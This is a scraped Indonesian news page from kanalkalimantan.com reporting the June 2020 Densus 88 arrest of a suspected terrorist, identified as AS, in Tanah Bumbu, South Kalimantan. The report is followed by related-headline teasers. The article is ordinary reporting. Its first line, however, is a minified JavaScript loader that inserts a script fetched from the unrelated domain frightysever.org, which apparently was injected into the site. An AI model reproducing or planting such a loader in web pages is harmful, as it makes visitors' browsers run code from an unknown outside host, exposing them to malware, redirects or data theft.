(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Penangkapan AS, warga Desa Batuah, Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu (Tanbu) oleh Densus 88 Antiteror pada Jumat (5/6/2020) siang, masih terkait jaringan terorisme penyerangan Polsek Daha Selatan, Kabupaten Hulu Sungai Selatan (HSS).
“Informasi penangkapan di Kabupaten Tanah Bumbu itu benar. Yang bersangkutan diduga terafiliasi jaringan terorisme,” katanya, Kabid Humas Polda Kalsel, Kombes Pol Mochamad Rifa’i, Sabtu (6/6/2020) sore.
Kala itu petugas yang melakukan penggeledahan di rumah AS dan menemukan busur dan panah, buku panduan jihad, tas ransel serta buku nikah. AS merupakan kepala rumah tangga, selain berjulan roti juga seorang guru mengaji. Pasangan suami Istri ini memiliki murid hingga mencapai puluhan orang.
Kabid Humas Polda Kalsel Kombes Rifa’i mengatakan, AS saat masih dalam proses penyelidikan. Selain itu, ia juga tidak membantah jika masih adanya penangkapan jaringan-jaringan terorisme di Provinsi Kalsel. “Semuanya masih berproses. Nanti kita rilis hasil tangkapan kita. Intinya, tidak hanya di satu daerah saja, tapi di seluruh Provinsi Kalsel,” tungkasnya.
Sejumlah penangkapan dilakukan tim Detasemen Khusus (Densus) 88 Mabes Polri, pasca kasus penyerangan Mapolsek Daha Selatan, Hulu Sungai Selatan (HSS) beberapa waktu lalu. Setelah menangkap seorang terduga teroris berinisial AR (21), warga Sungai Pinyuh, Kabupaten Mempawah, Kalimantan Barat, Jumat (5/6/2020) pukul 08.30 WIB, tak berselang beberapa lama sekitar pukul 11.00 Wita, unit antiteror Polri tersebut menangkap AS, yang sedang mengisi bensin di sebuah SPBU di Desa Baru Gelang, Kusan Hilir, Kabupaten Tanah Bumbu (Tanbu), Kalimantan Selatan (Kalsel).
AS (33) pria asal Tangerang, Jawa Barat, yang tinggal di Desa Batuah, Kecamatan Kusan Hilir ini ketika itu sedang mengisi bensin bersama istrinya SR. Pada saat itu, datang tim Densus 88 Mabes Polri langsung menangkap AS dan menggiring ke rumahnya.
Disaksikan pihak keluarga, Ketua RT dan Kepala Desa, Densus menggeledah rumah AS dan membawa sejumlah barang. Di antaranya anak panah, busur, buku tentang jihad, serta tas.
Menurut keterangan warga, AS menetap di Desa Batuah sekitar 2,5 tahun lalu. Pria yang kesehariannya berjualan roti dan sebagai guru ngaji tersebut, menetap di Tanbu setelah menikah dengan SR, yang dikenalnya saat mereka sama-sama belajar di pesantren.
Dalam kesehariannya, AS tak ada gelagat mencurigakan. Karena yang bersangkutan juga bergaul dengan masyarakat. Maka itu dia diangkat sebagai pengurus masjid dan sering mengimami sholat di tempat tersebut.
Sementara menurut Kepala Desa Batuah, Mahluki, yang ikut menyaksikan penggeledahan rumah AS mengatakan, kurang lebih 3 jam Densus melakukan penggeledahan. Hingga sekitar pukul 14.30 Wita, mereka membawa sejumlah barang.
Terkait penangkapan tersebut, Kapolres Tanah Bumbu AKBP Sugianto Marweki membenarkan penangkapan itu. “Ya benar. Densus Mabes Polri melakukan tangkapan seorang pria di daerah Pagatan. Kami hanya mendampingi dan mengawal karena kami yang punya wilayah,” katanya, Sabtu (6/6/2020). (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.